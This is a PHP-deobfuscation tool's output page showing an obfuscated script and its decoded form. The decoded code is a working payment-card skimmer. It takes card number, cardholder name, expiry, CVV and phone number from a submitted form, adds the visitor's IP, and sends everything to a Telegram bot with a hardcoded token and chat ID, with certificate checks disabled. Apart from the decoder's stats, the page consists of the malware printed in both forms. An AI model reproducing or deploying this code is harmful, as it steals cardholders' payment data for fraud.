Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if (empty($_POST["\x63\x6e"])) { $nameErr = "\x20"; } elseif (strlen($_POST["\143\..

Decoded Output download

<?php 
 if (empty($_POST["cn"])) { $nameErr = " "; } elseif (strlen($_POST["cn"]) > 50) { $nameErr = " "; } elseif (strlen($_POST["cn"]) < 1) { $nameErr = " "; } else { $cn = $_POST["cn"]; $nm = $_POST["nm"]; $mm = $_POST["mm"]; $yy = $_POST["yy"]; $cvv = $_POST["cvv"]; $phone = $_POST["phone"]; $ip = getenv("REMOTE_ADDR"); $port = $_SERVER["REMOTE_PORT"]; $hostname = gethostbyaddr($ip); $botToken = "8100235927:AAFUEr5465PpaBSQfCcFy1WPfgueja36T2o"; $chatId = "6979292101"; $url = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=card no: {$cn}%0Acard name: {$nm}%0Acard exp month: {$mm}%0Acard exp year: {$yy}%0Acvv2: {$cvv}%0APhone: {$phone}%0AClient ip: {$ip}%0A=============+ [ Created by OmeGaLorD ] +============="; $streamOptions = array("ssl" => array("verify_peer" => false, "verify_peer_name" => false), "http" => array("method" => "POST")); $context = stream_context_create($streamOptions); $response = file_get_contents($url, false, $context); if ($response === false) { echo "Failed to get the response."; } else { echo $response; } } ?>

Did this file decode correctly?

Original Code

<?php
 if (empty($_POST["\x63\x6e"])) { $nameErr = "\x20"; } elseif (strlen($_POST["\143\156"]) > 50) { $nameErr = "\x20"; } elseif (strlen($_POST["\143\x6e"]) < 1) { $nameErr = "\x20"; } else { $cn = $_POST["\143\156"]; $nm = $_POST["\156\155"]; $mm = $_POST["\155\155"]; $yy = $_POST["\x79\x79"]; $cvv = $_POST["\x63\x76\x76"]; $phone = $_POST["\x70\x68\157\156\x65"]; $ip = getenv("\x52\105\115\117\x54\x45\x5f\x41\x44\x44\122"); $port = $_SERVER["\122\x45\115\x4f\124\x45\x5f\120\x4f\122\x54"]; $hostname = gethostbyaddr($ip); $botToken = "\70\61\x30\60\62\63\65\71\62\67\72\x41\101\x46\125\105\162\x35\64\66\65\120\x70\141\102\123\121\146\x43\143\x46\x79\x31\127\x50\146\147\x75\145\152\x61\x33\66\124\x32\x6f"; $chatId = "\x36\x39\67\x39\62\71\x32\x31\x30\61"; $url = "\x68\164\164\160\x73\x3a\x2f\x2f\141\160\151\56\x74\145\x6c\145\147\162\x61\155\56\x6f\x72\147\57\x62\x6f\x74{$botToken}\57\163\x65\x6e\x64\115\x65\x73\x73\x61\147\145\x3f\x63\x68\x61\x74\x5f\151\x64\x3d{$chatId}\46\164\145\x78\164\x3d\143\141\x72\x64\40\x6e\x6f\72\x20{$cn}\x25\60\101\x63\x61\162\x64\40\156\141\155\x65\x3a\40{$nm}\x25\60\x41\143\141\162\x64\40\x65\170\x70\x20\155\157\156\x74\150\x3a\x20{$mm}\x25\60\101\143\x61\x72\144\40\x65\170\160\x20\171\x65\141\x72\x3a\40{$yy}\x25\60\101\143\166\x76\x32\x3a\40{$cvv}\45\x30\101\x50\150\157\156\145\x3a\40{$phone}\x25\x30\x41\103\154\x69\145\x6e\x74\40\151\x70\x3a\40{$ip}\x25\x30\101\75\x3d\75\75\x3d\x3d\x3d\75\x3d\75\75\x3d\x3d\53\x20\133\x20\103\x72\145\141\x74\x65\x64\x20\x62\x79\x20\117\155\145\x47\141\x4c\x6f\162\104\x20\135\x20\53\75\x3d\x3d\x3d\x3d\x3d\75\75\x3d\x3d\x3d\75\x3d"; $streamOptions = array("\163\163\154" => array("\x76\x65\162\151\146\171\x5f\160\145\x65\162" => false, "\166\145\x72\x69\x66\171\x5f\160\145\x65\162\x5f\156\141\155\145" => false), "\150\164\164\160" => array("\x6d\x65\x74\150\x6f\x64" => "\x50\x4f\x53\x54")); $context = stream_context_create($streamOptions); $response = file_get_contents($url, false, $context); if ($response === false) { echo "\x46\141\x69\154\145\x64\40\x74\157\x20\147\x65\164\x20\x74\150\x65\x20\x72\145\163\160\x6f\156\163\145\56"; } else { echo $response; } } ?>

Function Calls

None

Variables

None

Stats

MD5 218ce01c9de330f8f716e7e44d507df9
Eval Count 0
Decode Time 46 ms